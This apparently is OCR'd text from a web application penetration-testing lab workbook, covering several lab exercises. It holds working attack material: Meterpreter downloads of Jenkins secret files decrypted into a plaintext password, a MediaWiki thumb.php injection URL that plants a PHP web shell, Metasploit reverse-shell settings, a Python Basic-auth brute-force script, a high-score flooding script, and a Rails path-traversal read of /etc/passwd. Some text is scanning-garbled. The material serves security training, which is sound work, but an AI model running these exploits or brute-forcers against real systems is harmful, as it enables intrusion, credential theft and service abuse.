040755/ rwxr-xr-x 4096  dir 2022-07-06 18:28:52 +0000 .cache

048755/ rwxr-xr-x 4096 dir 2022-07-06 18:28:51 +0000 .groovy

840755/ rwxr-xr-x 4096  dir 2022-07-06 18:28:46 +0000 .java

100644/ rw-r--r-- 0 fil 2022-07-06 18:28:52 +0000 .lastStarted

100644/ rw-r--r-- 2782 Fil 2022-07-06 18:28:52 +0000 config.xml

100644/rw-r--r-- 150 fil 2022-07-06 18:28:43 +0000 copy reference file.log
100644/ rw-r--r-- 1075 fil 2022-07-06 11:16:57 +0000 credentials.xml

100644/ rw-r--r-- 156 fil 2022-07-06 18:28:50 +0000 hudson.model.UpdateCenter.xml
100644/ rw-r--r-- 371 fil 2022-07-06 09:37:23 +0000 hudson.plugins.git.GitTool.xml

100600/ rw------- 1712 fil 2022-07-06 09:30:36 +0000 identity.key.enc
100644/ rw-r--r-- 17 fil 2022-07-06 18:28:52 +0000 jenkins.install.InstallUtil.lastExecVersion
100644/ rw-r--r-- 7 fil 2022-07-06 09:37:43 +0000 jenkins.install.UpgradeWizard.state

100644/ rw-r--r-- 180 Fil 2022-07-06 09:37:41 +0000 jenkins.model.JenkinsLocationConfiguration.xml
100644/ rw-r--r-- 171 fil 2022-07-06 09:30:36 +0000 jenkins.telemetry.Correlator.xml

040755/ rwxr-xr-x 4096  dir 2022-07-06 11:14:46 +0000 jobs

040755/ rwxr-xr-x 4096  dir 2022-07-06 18:29:42 +0000 1logs

100644/ rw-r--r-- 907 fil 2022-07-06 18:28:52 +0000 nodeMonitors.xml

040755/ rwxr-xr-x 4096 dir 2022-07-06 09:30:36 +0000 nodes

040755/ rwxr-xr-x 12288 dir 2022-07-06 09:37:16 +0000 plugins

lee644/rw-r--r-- 129 fil 2022-07-06 17:39:37 +0000 queue.xml.bak

100644/ rw-r--r-- 64 fil 2022-07-06 09:30:34 +0000 secret.key
100644/ rw-r--r-- @ fil 2022-07-06 09:30:34 +0000 secret.key.not-so-secret
040700/ rwx------ 4096 dir 2022-07-06 11:15:31 +0OO0 secrets

040755/ rwxr-xr-x 4096 dir 2022-07-06 09:37:22 +0000 updates
040755/ rwxr-xr-x 4096 dir 2022-07-06 09:30:36 +0000 userContent
040755/ rwxr-xr-x 4096 dir 2022-07-06 09:30:37 +0008 users
640755/ rwxr-xr-x 4096 dir 2022-07-06 09:30:33 +0000 war

040755/ rwxr-xr-x 4096 dir 2022-07-06 11:15:31 +0000 workspace

meterpreter > [
I

29 \e cansee € redentials.xml there whiletherestisinthe Secrets directory. Let's download that locally so we can try to decrypt the secret.

cd /var/jenkins_home/
download credentials.xml
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cd secrets

1s

download hudson.util.Secret
download master.key

meterpreter > cd /var/jenkins_home/

meterpreter > download credentials.xml

[*] Downloading: credentials.xml -> /home/student/credentials.xml
[*] skipped : credentials.xml -> /home/student/credentials.xml
meterpreter > cd secrets

meterpreter > 1s
Listing: /var/jenkins home/secrets

Mode Size Type Last modified Name

100644/rw-r--r-- 48 fil 2022-07-06 11:15:31 +6000 hudson.console.ConsoleNote.MAC

100644/rw-r--r-- 32 fil 2022-07-06 11:15:31 +0000 hudson.model.Job.serverCookie

100644/rw-r--r-- 272 fil 2022-07-06 11:14:43 +0000 hudson.util.Secret

100640/ rw-r----- 33 fil 2022-07-06 09:30:37 +0000 initialAdminPassword

100644/rw-r--r-- 32 fil 2022-07-06 09:30:36 +0000 jenkins.model.Jenkins.crumbSalt

100644/rw-r--r-- 256 fil 2022-07-06 09:30:36 +0800 master.key

l06644/rw-r--r-- 272 Til 2022-07-06 09:30:36 +0000 org.jenkinsci.main.modules.instance identity.Instanceldentity.KEY

meterpreter > download hudson.util.Secret

[*] Downloading: hudson.util.Secret -> /home/student/hudson.util.Secret
[*] skipped : hudson.util.Secret -> /home/student/hudson.util.Secret
meterpreter > download master.key

[*] Downloading: master.key -> /home/student/master.key

[*] skipped : master.key -> /home/student/master.key

meterpreter > I

3QWemwhmewmwan%%dmdﬂwmme%mala%memejenkinS—CredentiaIS—decryptorfmmm

jenkins-credentials-decryptor -c credentials.xml -m master.key -s hudson.util.Secret

[~1% jenkins-credentials-decryptor
Please provide all required flags.

Usage:

jenkins-credentials-decryptor \
-m master.key \
-5 hudson.util.Secret \
-c credentials.xml \
-0 json

Flags:

-c string
(required) credentials.xml file location
-m string
(required) master.key file location
-0 string
(optional) output format [json|text] (default "json")
-s string
(required) hudson.util.Secret file location
-version
(optional) show version
[~]$ jenkins-credentials-decryptor -c credentials.xml -m master.key -s hudson.util.Secret

[

{
"description"”: "Marvin's password",
"id": "marvin password",
"password": "ThisIsMyUltraSecureAndLongPas$sword!",
"scope": "GLOBAL",
"username": "marvin"
}
1
-1s i
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1. Stop the Drupal2 Docker container by typing the following command in a terminal and then close all terminal windows:
stop-containers.sh

2. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

3. Go to the Firefox proxy selector drop-down and choose [Direct].

n @

o]

O [system Proxy]

@ Burp Community
Burp Pro

@ Zap

Y localhost ~

/& Options
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Exercise 5.6 - When Tools Fail

+ Realize many off-the-shelf exploits often initially fail

+ Work through failed exploitation to arrive at a working exploit
+ Manually exploit vulnerable applications starting from failed PoC

+ Configure Metasploit to make previously failed exploit successful

Lab Setup

1. Open Firefox and surf to http://cust42.sec542.net/mwiki.

Note

We discovered this virtual host in the ZAP forced browse exercise

2. Press Ctrl-U to view the source code. Note the Media Wiki version (line 5).

<meta name='"'generator" content="MediaWiki 1.22.1" />

[~ http://cust42.sec542.net/mwiki/index.php/Main_Page - Mozilla Firefox -+ x
cust42.sec542.net X | http://cust42.sec542.net/mwiki/ic X | 4
> C 0o [@ view-source:http://cust42.sec542.netmwiki/index.php/Main_Page v O W InDoOo® & =
¥ Most Visited
<!DOCTYPE html>
<html lang="en" dir="1tr" class="client-nojs">
<head>

<meta charset="UTF-8" /><title>cust42.sec542.net</title>
<meta name="generator" content="MediaWiki 1.22.1" />
<link rel="alternate" type="application/x-wiki" title="Edit" href="/mwiki/index.php?title=Main_Page&amp:action=edit" />
<link rel="edit" title="Edit" href="/mwiki/index.php?title=Main_Page&amp;action=edit" />
<link rel="shortcut icon" href="/favicon.ico" />
<link rel="search" type="application/opensearchdescription+xml" href="/mwiki/opensearch_desc.php" title="cust42.sec542.net (en)" />
<link rel="EditURI" type="application/rsd+xml" href="http://cust42.sec542.net/mwiki/api.php?action=rsd" />
<link rel="alternate" type=" appllcatlon/atom+xm1' title="cust42.sec542.net Atom feed' href=" [mwlkl/lndex php?tltle—Spec1al Recentchange
<link rel="stylesheet" href=" mwiki/1load.php?debug=false&amp; lang=en&amp ; modules=mediawiki. le: onPrint%2
<meta name=" ResourceLoaderDynamlcStyles content="" />
C—

Challenges

1. As discovered previously:

* cust42.sec542.net has a vulnerable version of MediaWiki installed.
+ Metasploit has a matching exploit (which will fail).
2. Your job is to:

+ Manually craft an exploit to upload a PHP shell to the vulnerable MediaWiki server.
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+ Use what you have learned to properly configure Metasploit.
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Solution

1. Open a terminal, launch Metasploit, and search for a mediawiki exploit.

msfconsole
search mediawiki

2. Note that there are two MediaWiki exploits; let's check them out.

8- Try the most recent exploit, mediawiki_syntaxhighlight .

use exploit/multi/http/mediawiki_syntaxhighlight
info

4. Note the Description.

Description:
This module exploits an option injection vulnerability in the
SyntaxHighlight extension of MediaWiki. It tries to create & execute
a PHP file in the document root. The USERNAME & PASSWORD options are
only needed if the Wiki is configured as private. This vulnerability
affects any MediaWiki installation with SyntaxHighlight version 2.0
installed & enabled. This extension ships with the AIO package of
MediaWiki version 1.27.x & 1.28.x. A fix for this issue is included
in MediaWiki version 1.28.2 and version 1.27.3.

5. Our mediawiki versionis 122 .1, which doesnt match this exploit. Let's try the next exploit, @€Xxploit/multi/http/mediawiki_thumb :

use exploit/multi/http/mediawiki_thumb
info

6. This one appears to match our version.

Description:
MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x
before 1.19.11, when DjVu or PDF file upload support is enabled,
allows remote unauthenticated users to execute arbitrary commands
via shell metacharacters. If no target file is specified this module
will attempt to log in with the provided credentials to upload a
file (.DjVu) to use for exploitation.

7. The Metasploit exploit info states MediaWiki 1.22.x before 1.22.2, 1.21.x before 1.21.5 and 1.19.x before 1.19.11, when DjVu or PDF file upload support is enabled, allows remote
unauthenticated users to execute arbitrary commands via shell metacharacters....

8. The exploit requires an account. Fortuntely for us: wikis often allow users to create their own accounts. In Firefox: surf to http://cust42.sec542.net/mwiki and click on Create
account.
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A custd2 sec542.net - Mozilla Firefox —
clistaz secsa2 et % [
'f (_/J = i ‘G} [ @ custaz sec542. net/mwikifindax.php/Main_P i f? l |“\ ﬁ:' o OB ‘ =
£¥ Most Visited
& 10.42.42.42 Talk for this IP address Create account Log in
Page Discussion Read Edit View history |Search Q ‘
Main Page
MediaWlki has been successfully installed.
Main. page Consult the User's Guide & for information on using the wiki software.
Becent changes .
Reidin pasa Getting started (edin
* Tools « Configuration settings list&
what links here « MediaWiki FAQ &
Related changes o MediaWikl release malling list &
Special pages s Localise MediaWiki for your language @ L

Printable version
Permanent link
Page information This page was last madified on 13 November 2015, at 16:45.

9 Set your username to Student , and passwordto Security542 and click Create account.
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| Create account - cust42.sec542.net - Mozilla Firefox - + X

Create account - cust42.sec542.r X | +

'\(——:’ - C @ [G}P" cust42.sec542.net/mwiki/index.pl e @ ﬁ] I o Q© » =

£+ Most Visited

& 10.42.42.42 Talk for this IP address Create account Log in

Special page Search Q

Create account

Enter your information below.

Main page

Recent changes inbliles
Random page student
CinE Password

Special pages
Printable version

Confirm password

Email address (optional)

Enter your email address

Real name (optional)

Real name is optional. If you choose to
provide it, this will be used for giving you
attribution for your work.

Create your account

cust42.sec542.net is made by people like you.

10. Now that you have an account: go back to the terminal running msfconsole, and set the following variables:

set PAYLOAD php/reverse_php
set RHOSTS 10.42.42.42

set VHOST cust42.sec542.net
set USERNAME student

set PASSWORD Security542
set TARGETURI /mwikii

check

11. Metasploit should respond as follows:
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[*] 10.42.42.42:80 - The target appears to be vulnerable.

12. If it does not respond as shown above, recheck the commands you typed above.
Unhappy pwning!!

1. Type the following msfconsole command:

exploit

- Terminal - student@Security542: ~ =
Filew Edit View Terminal Tabs Help
msT6 exploit(multi/http/mediawiki_thumb) > exploit

[*] Started reverse TCP handler on 172.16.164.134:4444
[*] Grabbing version and login CSRF token...
[+] Retrieved login CSRF token.
[*] Attempting to login...
[+] Log in successful.
[*] Getting upload CSRF token...
[+] Retrieved upload CSRF token.
[*] Uploading DjVu file iVPK.djvu...
[+] File uploaded to http://custd42.sec542.net/mwiki/index.php/File:IVPK.djvu
[*] Sending payload request...
-1 Received response 500, exploit probably failed L
[*] Exploit completed, but no session was created. U
msf6 exploit(multi/http/mediawiki_thumb) > ]

2. The exploit fails, though it should have worked. This happens from time to time, and this is where a penetration tester can demonstrate the difference between an amateur and a
professional. Persistence in the face of adversity is a key quality of a successful penetration tester.

3. We will later identify why it failed, change the options, and exploit MediaWiki successfully. Leave the msfconsole terminal open: you will change a configuration option and attempt
exploitation again later in this exercise.

4. Here is the error returned to Metasploit (seen when we proxied the exploit via ZAP to troubleshoot), which appears different from the error we will see when we manually exploit the
server. Note that you do not need to proxy the Metasploit exploit yourself; this is for illustration purposes:

HTTP/1.1 500 Internal server error A
Date: Thu, 18 Jul 2019 19:16:13 GMT ™
Server: Apache/2.4.29 (Ubuntu)

X-Content-Type-Options: nosniff

Cache-Control: no-cache

Content-Length: 180

Connection: close tf
Content-Type: text/html; charset=utf-8

<html=<head=<title=Error generating thumbnail</title=</head=
<body=>

<h1=Error generating thumbnail</hl>

<p)-

The specified thumbnail parameters are not wvalid.

</p=

</body>
=/html=
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What Happened?
1. Metasploits default FILENAME option isn't working on this MediaWiki server.

*Ituploads metasploit.djvu and generates a thumbnail.
« Exploit failure is probably due to a server configuration setting.
2. Let's verify the server is vulnerable and manually exploit the vulnerability.

3. We'll upload this PHP shell:

<?php system(\\$_GET['cmd']); 2>

Note

It's a bit different than the PHP shell shown in the PoC code discussed previously. We changed the variable named from 1 to

cmd for the sake of clarity.
We need to double-escape to dollar sign ( $ ) to ensure it passes through cleanly and is written to the PHP script as a literal

dollar sign.

4 Once saved in an accessible area of the website, this PHP shell will use the system function to execute any command passed viathe €md variable, for example, this URI will

execute the 1d command:

example.php?cmd=1id

5. Next step: Log in to the site and begin the manual exploitation process.

Log In to the Site

1. In Firefox, go to http://cust42.sec542.net/mwiki.
2. Click on Log in (upper right corner).

3. Log in as (you may ignore the Firefox This connection is not secure warning):
‘Username: student

*Password: Secrity542
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Main page
Recent changes
Random page

 Tools
Special pages
Printable version

& 10.42,42.42 Talk for this IP address Create account Log in

Special page | Search Q |

Log in

Username

Student

Password Forgot your password?

& This connection is not secure. Logins entered
here could be compromised. Learn More

Help with logging in

Don't have an account?

Join custd2.sec542.net

Privacy policy About custd2.sec542.net Disclaimers l?‘l] ﬁ?'-'éﬁf-hm

Upload a PDF

1. The exploit requires a DjVu or PDF upload:

« Exploitation triggered when the thumbnail of the uploaded image is generated.

« DjVu has failed for us, so we'll try a PDF.

2. Upload a PDF:

+ Click Upload file (under Tools on the menu on the left).

+ Click the Browse... button.

* Browse to location: /home/student/542.pdf .
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b8 F||e.|_|p|oa~d B T
© Recent Documens | »
{"" ene w | Size Modified
= Deskiop. - 405.9 kB
|| Dotuments || backdoors.txt 12k8 28 Feb 2020
&) Downloads @8 BurpSuiteCommunity 16 Mar 2020
1 Music | | combined 715 bytes Wed
o | | deserbs4 2.8kB Fri
Pictures.
= = || deser.obj 2.0kB Fri
Videos B Deskiop 16:45
o e | | Documents 16:28
- & Downloads Wed
|l Files ~ |
| & cancel || =i Open: ‘
+ Click Open.

« Click Upload file (bottom left).

“Youshouldsee File:542.pdf anda preview of the Security 542 coin.

3. Any PDF should work fine, we are using 542.pdf (a PDF version of the Security 542 coin) because the path is fairly short, and it worked well when tested.

Manually Exploit the Vulnerability

Warning

The following is extremely difficult to type:

« It contains single quotes and double quotes.

+ And backticks!

1. Enter the following URL in the Firefox address bar as one continuous line:

http://cust42.sec542.net/mwiki/thumb.php?f=542.pdfé&w=10|" echo "<?php system(\\
$_GET['cmd']); ?>">images/542.php"

Submit the URL
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\ Error generating thumbnail - Mozilla Firefox - + x|

Error generating thumbnail X ‘ ar

(;‘ - ¢ [(D cust42.sec542.net/mwiki/thumb.php?f=FAQ.pd ee P IneaooQ @ & =

£} Most Visited

Error generating thumbnail

Error creating thumbnail: /bin/bash: -: command not found
convert-im6.q16: missing an image filename “10' @ error/convert.c/ConvertimageCommand/3255.
GPL Ghostscript 9.26: Unrecoverable error, exit code 1

1. We receive an error, but careful inspection shows that it is different than the error Metasploit received. The Metasploit error (shown via ZAP during the author's testing) said:

<html><head><title>Error generating thumbnail</title></head>
<body><h1>Error generating thumbnail</h1>

<p>The specified thumbnail parameters are not valid.</p>
</body></html>

2. The error we just received says:

Error creating thumbnail: /bin/bash: -: command not found
convert-im6.ql6: missing an -image filename ‘10' @ error/convert.c/ConvertImageCommand/3255.
GPL Ghostscript 9.26: Unrecoverable error, exit code 1

3 The error we received is more detailed, indicating that /b'i n/bash was called (which is a good sign for us), and a program (ImageMagick's conve rt-imé. qleé
program) was called.

4. But did the exploit work? There's only one way to find out.
Happy pwning!!!

1. Let's see if our PHP backdoor was uploaded successfully.

2 well try the id command.

3. InFirefox, surfto: https//cust42.sec542.net/mwiki/images/542.php2cmd=1id .

v Mozilla Firefox =

custd42.sec542.net/mwiki/images X |+

php?cmd=id L) @ ﬁ |||\ ﬁ:l O @ . =

(&) > C @ [ @ custd2.sec542.net/mwiki/imag

£} Most Visited

uid=33(www-data) gid=33(www-data) groups=33(www-data)

4. Success!

5. Try the following URLs/commands as well, and feel free to freestyle and attempt others.

http://cust42.sec542.net/mwiki/images/542.php?cmd=cat /etc/passwd
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http://cust42.sec542.net/mwiki/images/542.php?cmd=1s -la /

6. Whenever we succeed using an exploit such as this, we also test to see if anyone else "beat us to the punch." View the images directory to see if other shells were dropped there
previously. Verify the "home directory” of the PHP shell with the pwd (print working directory) command via this URL:

http://cust42.sec542.net/mwiki/images/542.php?cmd=pwd
7. The script was uploaded to the images directory, so 1s -1la php will show all PHP scripts in that directory. Note: Do not include adot ( e )in *php :

http://cust42.sec542.net/mwiki/images/542.php?cmd=1s -la *php

8. As an added bonus: This will not only show other (potential) PHP shells and backdoors uploaded previously, but it will also show exactly when they were uploaded.
Back to Metasploit

T we already uploaded 542, pdf ,so let's use that file. Go back to the msfconsole terminal and type the following:

set FILENAME 542.pdf
exploit

A Terminal - student@Security542: ~
File' Edit View Terminal Tabs Help

msf6 ‘exploit(multi/http/medi
FILENAME => 542, pdf
msf6 exploit(multi/http/mediawiki_thumb) > exploit

thumb) > set FILENAME 542.pdf

[*] Started reverse TCP handler on 172.16.164.134:4444
[*] Grabbing version and login CSRF token...

[*] Sending payload request...
[*] Command shell session 1 opened (172.16.164.134:4444 -> 172.16.164.134:58676) at 2021-04-20 18:24:15 +0000

id

uid=33(www-data) gid=33(www-data) groups=33({www-data)
whoami

www-data

N

. Happy pwning!!

Note

There will be no prompt, simply type commands such as id or whoami (or whichever commands you prefer). Also note
that the php shell times out fairly quickly, type exploit again if the session times out. The error is:
[*] 10.42.42.42 - Command shell session 1 closed.

3. Here are all of the commands, in case you accidentally closed the msfconsole window. Note you do not need to retype these if the preceding exploit was successful:
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use
set
set
set
set
set
set
set

exploit/multi/http/mediawiki_thumb
PAYLOAD php/reverse_php

RHOSTS 10.42.42.42

VHOST cust42.sec542.net

USERNAME student

PASSWORD Security542

TARGETURI /mwikii

FILENAME 542.pdf

exploit
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Exercise 5.Bonus - Python

These is an advanced challenge, designed to challenge more experienced students. It lacks some of the step-by-step/screenshot-by-
screenshot instructions the main labs feature.

Challenge

+ Write a Python script to launch a John-the-Ripper style hybrid password guessing attack against a website using Basic
Authentication.

- Site: http://www.sec542.org/basic/

* Username: ford

* Password list: /opt/wordlists/splashdata-worst-passwords-2022.txt

+ Append two of the following characters to each password: 1234567890!@#\$%\ &\ * () _+=
Some Hints

1. In other words, append 11 through ==, and all combination in between.
2 For example (password of password ):
' passwordll

' passwordl2

' password==
3. The 542.5 Python lecture (in the section called "Python for Web App Pen Testers") contains all the code snippets required to complete this step. We will cite slide names (instead of
slide numbers) because slide numbers often change, and we'd like to avoid dependencies.
« The slide titled "Requests" shows the code that performs Basic authentication.

+ The "Python Loops" slide contains more helpful information (be sure to check the notes as well).

* The "Putting (a Lot of) It Together" slide shows how to read a file and iterate through each line (as you will with /opt/wordlists/splashdata-worst-
passwords—-2022.txt .
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Solution

Functionless Version

1 This version of the script avoids the use of a Python function (for the sake of simplicity) and keeps running after ¥ . status_code==200 . we would normally break after

that: In other languages, a break would exit all loops, but the Python break statement only exits the closest loop. A return from a function is recommended for break-like functionality.
The next section shows a version that uses a function.

2- A copy of this script (with additional comments)isin /home/student/Desktop/python/bonuschallengel-1.py .

#!/usr/bin/python3
import requests

characters="1234567890!@#$%"&x () _+="
user="ford"

with open('/opt/wordlists/splashdata-worst-passwords-2018.txt') as f:
passwordlist = f.read().splitlines()
for basepassword in passwordlist:
for charl in characters:
for char2 1in characters:
password=basepassword+charl+char2
r = requests.get('http://www.sec542.org/basic',auth=(user,password))
if(r.status_code==200):
print(str(r.status_code)+":"+user+":"+password)

Function Version

1- This version of the script uses a custom Python function to return immediately after I« status_code==200 . A copy of this script (with additional comments) isin /

home/student/Desktop/python/ bonuschallengel-2.py.

#!/usr/bin/python3
import requests

def connect():
characters="1234567890!@#$% & () _+="
user="ford"

with open('/opt/wordlists/splashdata-worst-passwords-2018.txt') as f:
passwordlist = f.read().splitlines()
for basepassword in passwordlist:
for charl 1in characters:
for char2 1in characters:
password=basepassword+chari+char2
r = requests.get('http://www.sec542.0org/basic',auth=(user,password))
if(r.status_code==200):
print(str(r.status_code)+":"+user+":"+password)
return

connect()
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. Write a Python script to automate the high score submission in the Snake game we played in 542.2, repeatedly submitting slightly
higher scores, achieving a listed high score of at least 10,000.

« URL: http://www.sec542.org/snake/

« In other words, do this (feel free to select the name of your choice)

Some Hints

1. A few notes on the (strange) internal logic of the Snake game:
+ As you probably noticed during 542.2, a new high score is always +1, regardless of the actual score
"If the current scoreis 2501 , and the new score is setto 10 y 000 , the new high scoreis... 2502
« Strange, we agree.
+ Note: We didn't write this code.
« As a wise person once said: "It's not a bug, it's a feature!"

« There is a related "feature", which makes this challenge much easier:
" If you resubmit the same score of 10 4 @00 , the new high score will be... 2503 .
" Do it again, and the new high scoreis 2504 .
« Etc...

“Untilyoureach 10,001 (yes, it is +1 from the actual score, again due to internal logic).

2. Inspect the slide titled "POST via Requests" carefully (including the notes). See the "Python Loops" slide and notes as well.

Some More Hints

1. These Snake score "features" make the Python script easier to write:
- Proxy Firefox via ZAP.
« Score any points in Snake.
« Save the body of the POST containing score and scorehash to a file.
‘Remember: scorehash = (scorexscore) + 1337.
" Manually edit that file, changing score to 10 @0 and scorehashtobe (10000%10000)+1337 .

* Write a Python script to loop upto 10 4000 times (depending on the current high score).
+ Then POST from the file.

2. You can read a file into a variable with this code:

postfile=open('/home/student/Desktop/python.snake-post.txt','r")
postdata = postfile.read()

Note

Extra submissions don't harm anything, so don't sweat the "up to 10,000 times" detail too much.
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Solution

T Thefile /home/student/Desktop/python/snake-post.raw already exists, and you may use that. If youd like to create your own POST file, perform

the following steps:
« Proxy Firefox via ZAP.
+ Score any points in Snake.
« Save the body of the POST containing score and scorehash to a file.
" Click onthe POSTto enterHighscore.php .
« Click the Request tab.
« Right-click on the POST text, and choose Save Raw -> Request -> Body.
‘saveas: /home/student/Desktop/python/snake-post.raw.

2. Then edit the file and:
* Change the score value to: SCOre=10000
* Change the scorehash value to: sScorehash=100001337
3. A copy of this scriptisin /home/student/Desktop/python/bonuschallenge2.py .

4. Note that this script assumes the POST was savedto /home /student/Desktop/python/snake-post.raw (as described in the steps above). We

saved an example to that location.

#!/usr/bin/python3
import requests

postfile=open('/home/student/Desktop/python/snake-post.raw','r")
postdata = postfile.read()

for x in range(0, 10000):
headers = {'content-type': 'application/x-www-form-urlencoded'}
r=requests.post('http://www.sec542.0rg//snake/
enterHighscore.php',data=postdata,headers=headers)
print (r.text)
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Exercise 5.Bonus2 - Exploiting Ruby on Rails

Objectives

+ Gain hands-on experience with Metasploit Framework for application testing.
* Learn to navigate msfconsole .

+ Use Metasploit to exploit a Ruby on Rails vulnerability (CVE-2019-5418).

« Diagnose the issue causing Metasploit to fail and resolve the issue.

« Manually perform the same exploitation via ZAP.

Lab Setup

1. Open a terminal and start the Ruby on Rails container (leave this terminal session open until the conclusion of the lab):

/labs/rails.sh

Challenges

+ Exploit vulnerability CVE-2019-5418 on this Ruby on Rails server: http://172.22.0.2:3000/.

+ You may research the flaw here: https://nvd.nist.gov/vuln/detail/CVE-2019-5418.

+ Googling 'CVE-2019-5418' is also helpful.
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Solution

1. Open Firefox and surf to the Ruby on Rails server at: http://172.22.0.2:3000/.

5 R Loy e Ran Rl FireTex R
‘Ruby on Rails X

.Q—)—} & o [@ 172:22.0.2:3000 . {:r] e o » =
£¢ Most Visited |

mlls

Rails version:

Yay! You're on Rails!

§.2.2
Ruby version: 2.5.4 (x86 64-1linux)

2. Open a terminal and start Metasploits msfconso'le :

msfconsole

3 Then search for CVE-2019-5418 in msfconsole :

search CVE-2019-5418
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Fle Edit View Terminal Tabs Help
msf6 = search CVE-2019-5418

Matching Modules

# Name Disclosure Date Rank Check
Description
0 auxiliary/gather/rails doubletap file read normal Yes

Ruby 0On Rails File Content Disclosure (‘'doubletap’)

Interact with a module by name or index. For example info @, use 0 or use auxili
ary/gather/rails doubletap file read

msf6 > [

s Terminal - student@Security542: ~ S

4. There is an auxiliary gather module that looks like it may work.

5 Then use the module and type info .

use auxiliary/gather/rails_doubletap_file_read
info
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-

Fle  Edit

Terminal - student@Security542: ~ S
Wiew  Termiral Tabs Help

msfé > use aux111ary/gatherlralls doubletap file read
msf6 auxiliary(o i

d) = info

Name: Ruby On Rails File Content Disclosure ('doubletap')
Module: auxiliary/gather/rails doubletap file read
License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:
Carter Brainerd <OxCB@protonmail.com>
John Hawthorn <john@hawthorn.email=

Check supported:
Yes

Basic options:
Name

Current Setting

DEPTH 10 yes

Required

Description

The depth of the traversal.

PRINT_RESULTS true yes Print results of module (may hang
with large amounts of data).

Proxies no A proxy chain of format type:host:
port[,type:host:port][...]

RHOSTS yes The target host(s), range CIDR ide

ntifier, or hosts file with syntax
'file:<path>'

ROUTE /home yes A route on the vulnerable server.

RPORT 80 yes The target port (TCP)

SSL false no Negotiate SSL/TLS for outgoing con
nections

TARGET FILE /etc/passwd yes The absolute path of remote file t
o read.

VHOST no HTTP server virtual host

Description:
This module uses a path traversal vulnerability in Ruby on Rails
versions =< 5.2.2 to read files on a target server.

References:
https://hackerone.com/reports/473888
https://github.com/mpan/Rails-doubletap-RCE
https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI965m80
https://chybeta.github.io/2019/03/16/Analysis- forsE3%80%90CVE-2019-5418%E3%80%

91File-Content-Disclosure-on-Rails/
https://nvd.nist.gov/vuln/detail/CVE-2019-5418
https://www.exploit-db.com/exploits/46585

Also known as:
DoubleTap

Imsf6 auxiliary(oathe:

_ etap file .'.) = l 1

6. Note that Metasploit exploits normally use RHOST , set to one IP or name. The auxiliary modules usually use RHOSTS , which can be set to a range of hosts (such as

172.22.0.0/24 ), or one host (as we will set here).

7- It looks like we need to set. RHOSTS and change RPORT . Setthoseto 172.22.0.2 and 3000 , respectively, and type run :
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set RHOSTS 172.22.0.2
set RPORT 3000

run
b . . Terminal - student@Security542: ~ = b
Filew Edit Wiew Termiral Tabs Help
msfé auxiliary(o : 1 1) > set RHOSTS 172.22.0.2
RHOSTS == 172.22.0. 2
msfb auxiliary(oathe: 1ils doubletap file read)} > set RPORT 3000
RPORT == 3000
msf6 auxiliary(o: fi read) = run
[*]1 Running module agalnst 172 22 0. 2
| -1 Check did not pass, exiting. ﬂ
[*]1 Auxiliary module executlon completed H
msf6 auxiliary(o r/rails_doubletap file read) > JJ J
8. Hmm, the scan failed with the following message:
[-]1 Check did not pass, exiting.
[*] Auxiliary module execution completed
9. Let's dig deeper. Type info again, and see what other variables can be set.
info
> _ _ Terminal - student@Security542: ~ = b
File' Edit View Terminal Tabs Help
msf6 auxiliary(o i i) = info

Yes

Name:
Module:
License:
Rank:

Provided by:
Carter Brainerd <0xCB@protonmail.com=>
John Hawthorn <john@hawthorn.email=

Ruby On Rails File Content Disclosure (‘'doubletap')
auxiliary/gather/rails_doubletap file read
Metasploit Framework License (BSD)

Normal

Check supported:

Basic options:

Name Current Setting Required Description

DEPTH 10 yes The depth of the traversal.

PRINT RESULTS true yes Print results of module (may hang with 1lar
ge amounts of data).

Proxies no A proxy chain of format type:host:port[,ty
pe:host:port][...]

RHOSTS 172.22.0.2 yes The target host(s), range CIDR identifier,
or hosts file with syntax 'file:<path>'

ROUTE /home yes A route on the vulnerable server.

RPORT 3000 yes The target port (TCP)

SSL Talse no Negotiate SSL/TLS for outgoing connections

TARGET FILE /etc/passwd yes The absolute path of remote file to read.

VHOST no HTTP server virtual host

H

10. There is a variable called ROUTE that is set to /home . That looks like part of a URL, so let's surf to http://172.22.0.2:3000/home in Firefox, and see what we find.

414
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N Action Controller: Exception caught - Mozilla Firefox - + X

Action Controller: Exception cauc X |+

:(l/< - C @ [(D 1722202 - @ % mooe©eé =

£} Most Visited

Routing Error

No route matches [GET] "/home"
Rails.root: /usr/src/blog

Application Trace | Framework Trace | Full Trace
Routes

Routes match in priority from top to bottom

Helper HTTP Verb Path Controller#Action

Path / Url Path Match

robots_path GET Irobots(.:format) vulhub#index

Irails/active_storage/blobs/:signed_id

rails_service_blob_path GET active_storage/blobs#show
- —blob_p: I*filename(.:format) - g
: : /rails/active_storage/representations : . E
rails_blob_representation_path GET . e § } active_storage/representations#show
I:signed_blob_id/:variation_key/*filename(.:format)
. . . Irails/active_storage/disk/:encoded_ke . .
rails_disk_service_path GET ) - g ey active_storage/disk#show
[*filename(.:format)
update_rails_disk_service_path PUT Irails/active_storage/disk/:encoded_token(.:format) active_storage/disk#update
rails_direct_uploads_path POST Irails/active_storage/direct_uploads(.:format) active_storage/direct_uploads#create

11 The error states: No route matches [GET] "/home" .Then the Ruby on Rails server helpfully lists available routes, suchas /robots(.sformat) .

« Discover why Metasploit fails to exploit the vulnerability, and resolve the issue.
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Solution

1- Let's try setting Metasploits ROUTE to /robots and runthe module again. Type the following Metasploit msfconsole commands:

set ROUTE /robots

run
g _ _ Terminal - student@security542: ~ 3
File' Edit ‘View Terminal Tabs Help!
msf6 auxiliary(o 1 atl) = set ROUTE /robots
ROUTE => frﬁbots
msT6 auxiliary(a er 111: d) = run
[*]1 Running module agalﬂst 1?2 22 0. 2
[*] Requesting file /etc/passwd
[*] Results stored as loot. L
[*] Auxiliary module executlon completed H
msf6 auxiliary(o I 31 . = | L
2. wOOt! It worked. Let's inspect the loot. Open another terminal and view the loot files.
1s /home/student/.msf4/loot/
- . Terminal - student@Security542: ~ x

Fle Edt View Terminal Tabs Help
[~1% 1s /home/student/.msT4/loot/

Y |

20210421154035 default 172.22.0.2 rails.doubletap. 315986.txt
3ebdd4eaB813f98729091- 29210421154035 default 172. 22.0. 2 rails.doubletap. 315986.txt

H
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Note

You may have other files stored in the 1s /home/student/.msf4/loot/ directory from previous Metasploit labs. This

command will show the passwd file we just downloaded:

cat /home/student/.msf4/loot/20*rails.doubletapx*

he Terminal - student@Security542: ~ - %X
File Edit View Terminal Tabs Help

[~]1% cat /home/student/.msf4/loot/20*rails.doubletap*

